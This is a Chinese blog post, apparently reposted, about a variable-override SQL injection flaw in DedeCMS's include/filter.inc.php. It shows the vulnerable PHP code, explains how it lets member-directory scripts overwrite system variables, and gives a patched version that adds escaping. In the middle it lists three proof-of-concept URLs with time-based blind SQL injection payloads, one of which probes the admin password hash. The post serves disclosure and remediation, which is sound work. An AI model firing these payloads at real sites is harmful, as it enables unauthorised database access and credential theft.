今天在做网站监察的时候,发现网站出了一个问题,在对网站做木马监测的时候,扫描出一个可疑文件:/include/filter.inc.php,建议删除,但仔细检查后,发现此文件是织梦(Dedecms)系统自带的问题,那么,我们该如何解决呢?
 
 
漏洞描述:dedecms的filter.inc.php这个文件在系统配置文件之后,里面有foreach循环创建变量,可以覆盖系统变量从而导致注入漏洞。
漏洞路径:/include/filter.inc.php
漏洞分析:
 
/include/filter.inc.php文件中:
 
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    
    return $svar; //未对外部提交的数据进行有效转义,直接return返回造成本地变量注入
}
 
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}
1. 在magic_quotes_gpc=off的时候可以绕过_RunMagicQuotes的过滤 
xxx.php?site=skyhome’s blog
2. 经过common.inc.php
$skyhome = skyhome\’s blog
3. 经过filter.inc.php
$skyhome = skyhomen’s blog  //重新获得闭合攻击性
漏洞触发条件:
1. 程序不允许创建cfg_开头的变量,依靠这样来防御系统变量未初始化漏洞。
2. common.inc.php文件的漏洞我们创建了系统变量就可以触发此类漏洞,但是有的系统变量已经初始化了,而且是在common.inc.php文件foreach循环注册变量之后,就是说我们能创建,但是不能覆盖。
3. 但是filter.inc.php这个文件又进行了一次foreach循环也就是二次创建。所以如果包含了filter.inc.php文件我们就可以覆盖系统变量。
4. 在/member目录的大部分文件都包含这么一个文件/member/config.php,这个文件的前两句就是:
require_once(dirname(__FILE__).’/../include/common.inc.php’);
require_once(DEDEINC.’/filter.inc.php’);
也就是说member目录的大部分文件都受此漏洞影响,可以覆盖掉系统变量 。
0x1: POC1
http://www.mahaixiang.cn/dedecms5.5/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select pwd from dede_admin),1,1)='f',sleep(5),0)) -- - @`'`
0x2: POC2
http://www.mahaixiang.cn/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select 1),1,1)='1',sleep(5),0)) -- - @`'`
0x3: POC3
http://www.mahaixiang.cn/dede/member/ajax_membergroup.php?action=desshow&mid=1&action=despost&mdescription=asd'  where id=@`'` or(select if(substring((select user()),1,1)='r',sleep(5),0)) -- - @`'`
漏洞解决:
/include/filter.inc.php
 
$magic_quotes_gpc = ini_get('magic_quotes_gpc');
function _FilterAll($fk, &$svar)
{
    global $cfg_notallowstr,$cfg_replacestr;
    if( is_array($svar) )
    {
        foreach($svar as $_k => $_v)
        {
            $svar[$_k] = _FilterAll($fk,$_v);
        }
    }
    else
    {
        if($cfg_notallowstr!='' && preg_match("#".$cfg_notallowstr."#i", $svar))
        {
            ShowMsg(" $fk has not allow words!",'-1');
            exit();
        }
        if($cfg_replacestr!='')
        {
            $svar = preg_replace('/'.$cfg_replacestr.'/i', "***", $svar);
        }
    }
    if (!$magic_quotes_gpc) {
        $svar = addslashes($svar);
    }
    return $svar;
}
 
/* 对_GET,_POST,_COOKIE进行过滤 */
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
    foreach($$_request as $_k => $_v)
    {
        ${$_k} = _FilterAll($_k,$_v);
    }
}
好了,到这就先结束了!
 
来源:http://www.moke8.com/article-16612-1.html

织梦Dedecms系统可疑文件include/filter.inc.php扫描出漏洞,该如何解决?的更多相关文章

  1. 【织梦dedecms系统安全】完善DEDECMS目录的权限安全设置

    [织梦dedecms系统安全]完善DEDECMS目录的权限安全设置:   ../ [站点上级目录]   如果要使用后台的目录相关的功能需要有列出目录的权限     / [站点根目录]   需要执行和读 ...

  2. 织梦dedecms dede plus文件作用介绍及安全设置

    一.安装设置 1.默认的后台模块中心有很多模块. 这里除了"友情链接"模块其他都可以删掉.在后台可以先卸载再删除. 2.如果是一开始就不想要的话,安装版plus目录下进行如下操作. ...

  3. 织梦(dedecms)系统常用全局变量调用标签及路径

    {dede:global.cfg_memberurl/} 指的是会员中心 对应/member/目录 {dede:global.cfg_cmsurl/} 对应的是网站根目录/ {dede:global. ...

  4. 织梦DEDECMS系统中文章内容为空 用SQL语句如何删除?

    织梦后台里提供了清空内容为空的文章,可是发现并不好用,有些空文章还是删除不了,而有些文章不是空的,只是采到了几个字,这些无法清除,于是就手动来清除这个文章.开始是一个一个文章找,一个一个来删除,后来觉 ...

  5. 更改已安装的织梦dedecms系统数据库表前缀

    1 修改之前我们先备份下数据,备份的操作过程是:网站后台------系统------数据库备份/还原-------然后按提交.默认保存的数据在data/backupdata目录下. 2 修改目录下da ...

  6. 织梦dedeCMS|系统基本配置标签

    站点根网址:    {dede:global.cfg_basehost/}调出网站的名称:   {dede:field.title/}-{dede:global.cfg_webname/}    网站 ...

  7. 织梦dedecms 用交叉栏目时arclist标签调用不出内容文章的问题(纯转载)

    本文转自:http://www.cnblogs.com/cnteam/articles/4056702.html 最近用了交叉栏目发现当为手动指定交叉栏目ID时用arclist标签不能调出相关文章最后 ...

  8. 织梦Dedecms主要文件夹目录及模板文件说明

    虽然织梦DedeCMS因为安全问题被人所诟病,但瑕不掩瑜,无论从用户群数量还是时间等各方面,织梦DedeCMS都是国内排名前几的CMS建站程序.如果你想学习CMS的二次开发,织梦DedeCMS是必须需 ...

  9. 增强织梦DedeCMS“更新系统缓存”清理沉余缓存的功能

    我们使用织梦DedeCMS系统有很长一段时间后,不间断的在后台更新系统缓存的时候,有些缓存文件夹及缓存文件没有被清理,导致日积月累的垃圾缓存文件越来越多,可以以百千万计算,现在增强更新系统缓存功能清理 ...

随机推荐

  1. (DNS)dnsmasq部署DNS

    转自:https://www.hi-linux.com/posts/30947.html Dnsmasq提供DNS缓存和DHCP服务.Tftp服务功能.作为域名解析服务器(DNS),Dnsmasq可以 ...

  2. docker启动报错

    1.报“can’t create unix socket /var/run/docker.sock: is a directory” 这是由于存在容器自动启动 --restart= always导致的 ...

  3. javascript 完美解决对联广告

    javascript 完美解决对联广告 // function couplet(){ if(arguments.length>=1) this.objID = document.getEleme ...

  4. phpcms v9 所有当前栏目信息标签

    PHPCMS v9 很多时候在内容页下不关是调用内容页的信息,还会调用当前栏目的相关信息.下面做总结,方便大家找到在内容页想调用的东西当前栏目id:                       {$c ...

  5. UI设计,使用 线框图(页面示意图或页面布局图)

    在进行页面框架设计的时候,尝试画个 线框图(页面示意图或页面布局图)吧.

  6. Redis哈希

    Redis的哈希值是字符串字段和字符串值之间的映射,所以他们是表示对象的完美数据类型 在Redis中的哈希值,可存储超过400十亿键值对. 例子 redis 127.0.0.1:6379> HM ...

  7. Web前端开发测试题阅读笔记

    引自: http://www.w3cplus.com/css/front-end-web-development-quiz.html Q7:下面代码弹出值是什么? x = 1; function ba ...

  8. 多线程三:Task

    Task是.NET 3.0中推出的,是基于ThreadPool封装的,里面的线程都是来自于ThreadPool. 1.使用Run()方法启动线程 F12查看Run()方法的定义: 发现Run()方法的 ...

  9. windows下npm和node如何升级

    1.npm升级 访问官网:npm 可以看到如下图: 就是如果你要更新你的版本,请在终端输入以下语句: npm install npm@latest -g 效果如下图:  2.node升级 直接在nod ...

  10. A SIMPLE LIBRARY TO BUILD A DEEP ZOOM IMAGE

    My current project requires a lot of work with Deep Zoom images. We recently received some very high ...